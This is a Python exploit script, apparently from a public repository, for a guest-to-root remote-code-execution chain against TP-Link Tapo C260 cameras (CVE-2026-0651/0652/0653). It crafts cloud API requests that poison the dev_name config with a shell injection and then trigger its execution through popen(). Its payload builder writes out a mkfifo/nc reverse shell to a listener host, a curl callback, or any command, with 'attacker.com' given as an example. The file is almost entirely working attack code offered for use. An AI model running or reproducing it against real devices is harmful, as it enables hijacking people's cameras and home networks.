TP-Link Tapo C260 Unauthenticated-to-Root RCE Chain — CVE-2026-0651

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202

#!/usr/bin/env python3
"""
Tapo C260 RCE Chain — CVE-2026-0651 / CVE-2026-0652 / CVE-2026-0653

Chains arbitrary config write + command injection via set_region_code_handle
to achieve guest-to-root RCE on TP-Link Tapo C260 cameras.

All vulnerability research by Eugene Lim (@spaceraccoon):
https://spaceraccoon.dev/getting-shell-tapo-c260-webcam/
"""

import argparse
import sys
import time
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

CLOUD_HEADERS = {
    "Content-Type": "application/json; charset=UTF-8",
    "App-Cid": "app:TP-Link_Tapo_Android:",
    "X-App-Name": "TP-Link_Tapo_Android",
    "X-App-Version": "3.13.818",
    "X-Ospf": "Android 15",
    "X-Net-Type": "wifi",
    "X-Strict": "0",
    "X-Locale": "en_US",
    "User-Agent": "TP-Link_Tapo_Android/3.13.818(sdk_gphone64_arm64/;Android 15)",
}


def build_poison_payload(injection: str) -> dict:
    """
    Abuses setLedStatus to write into tp_manage/info/dev_name.
    The device writes nested JSON keys directly into config paths
    without validating that the keys match the expected schema.
    """
    return {
        "inputParams": {
            "requestData": {
                "method": "multipleRequest",
                "params": {
                    "requests": [
                        {
                            "method": "setLedStatus",
                            "params": {
                                "tp_manage": {
                                    "info": {
                                        "dev_name": injection,
                                    },
                                    "factory_mode": {"enabled": "1"},
                                },
                            },
                        }
                    ]
                },
            }
        },
        "serviceId": "passthrough",
    }


def build_trigger_payload(region: str = "US") -> dict:
    """
    Triggers set_region_code_handle which reads dev_name from config
    and passes it unsanitized into popen() via get_oemid_by_region_and_device_name.
    """
    return {
        "inputParams": {
            "requestData": {
                "method": "multipleRequest",
                "params": {
                    "requests": [
                        {
                            "method": "testUsrDefAudio",
                            "params": {
                                "device_info": {
                                    "set_region_code": {"region": region}
                                }
                            },
                        }
                    ]
                },
            }
        },
        "serviceId": "passthrough",
    }


def cloud_request(cloud_host: str, device_id: str, token: str, payload: dict) -> requests.Response:
    url = f"https://{cloud_host}/v1/things/{device_id}/services-sync"
    headers = {**CLOUD_HEADERS, "Authorization": token}
    return requests.post(url, headers=headers, json=payload, verify=False, timeout=30)


def make_injection_string(args) -> str:
    if args.lhost and args.lport:
        return f";rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {args.lhost} {args.lport} >/tmp/f;"
    elif args.callback:
        return f";curl {args.callback};"
    elif args.cmd:
        return f";{args.cmd};"
    else:
        print("[!] Provide --lhost/--lport, --callback, or --cmd", file=sys.stderr)
        sys.exit(1)


def poison(cloud_host: str, device_id: str, token: str, injection: str) -> bool:
    print(f"[*] Poisoning dev_name config with: {injection}")
    payload = build_poison_payload(injection)
    try:
        r = cloud_request(cloud_host, device_id, token, payload)
        print(f"[*] Poison response: {r.status_code}")
        if r.status_code == 200:
            print("[+] Config write successful")
            return True
        else:
            print(f"[-] Unexpected status: {r.text[:200]}", file=sys.stderr)
            return False
    except requests.RequestException as e:
        print(f"[-] Poison request failed: {e}", file=sys.stderr)
        return False


def trigger(cloud_host: str, device_id: str, token: str) -> bool:
    print("[*] Triggering set_region_code_handle to execute payload via popen()...")
    payload = build_trigger_payload()
    try:
        r = cloud_request(cloud_host, device_id, token, payload)
        print(f"[*] Trigger response: {r.status_code}")
        if r.status_code == 200:
            print("[+] Trigger sent — check your listener")
            return True
        else:
            print(f"[-] Unexpected status: {r.text[:200]}", file=sys.stderr)
            return False
    except requests.RequestException as e:
        print(f"[-] Trigger request failed: {e}", file=sys.stderr)
        return False


def restore(cloud_host: str, device_id: str, token: str, original_name: str = "Tapo C260"):
    """Best-effort restore of dev_name to avoid leaving the payload in config."""
    print(f"[*] Restoring dev_name to '{original_name}'...")
    payload = build_poison_payload(original_name)
    try:
        cloud_request(cloud_host, device_id, token, payload)
        print("[+] Config restored")
    except requests.RequestException:
        print("[!] Failed to restore config — manual cleanup may be needed", file=sys.stderr)


def main():
    banner = r"""
  _____ ___  ___  ___    ___ ___ __  ___
 |_   _/ _ \| _ \/ _ \  / __|_  )/ /|   \
   | || (_) |  _/ (_) || (__ / / _ \| |) |
   |_| \___/|_|  \___/  \___/___\___/___/
        RCE Chain — CVE-2026-0651/0652/0653
        Research: @spaceraccoon
    """
    print(banner)

    parser = argparse.ArgumentParser(
        description="Tapo C260 RCE chain — guest-to-root via config poisoning + command injection"
    )
    parser.add_argument("--cloud-host", required=True, help="TP-Link cloud API host")
    parser.add_argument("--device-id", required=True, help="Target device ID")
    parser.add_argument("--cloud-token", required=True, help="Cloud auth token (guest-level works)")

    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument("--callback", help="HTTP callback URL (e.g. http://attacker.com/hit)")
    group.add_argument("--cmd", help="Arbitrary command to inject")
    group.add_argument("--lhost", help="Reverse shell listener IP")

    parser.add_argument("--lport", default="4444", help="Reverse shell listener port (default: 4444)")
    parser.add_argument("--no-restore", action="store_true", help="Skip restoring dev_name after exploitation")
    parser.add_argument("--delay", type=float, default=2.0, help="Seconds to wait between poison and trigger (default: 2)")

    args = parser.parse_args()

    injection = make_injection_string(args)

    if not poison(args.cloud_host, args.device_id, args.cloud_token, injection):
        sys.exit(1)

    print(f"[*] Waiting {args.delay}s for config to propagate...")
    time.sleep(args.delay)

    if not trigger(args.cloud_host, args.device_id, args.cloud_token):
        sys.exit(1)

    if not args.no_restore:
        time.sleep(1)
        restore(args.cloud_host, args.device_id, args.cloud_token)

    print("[*] Done. If using --lhost, check your nc listener.")


if __name__ == "__main__":
    main()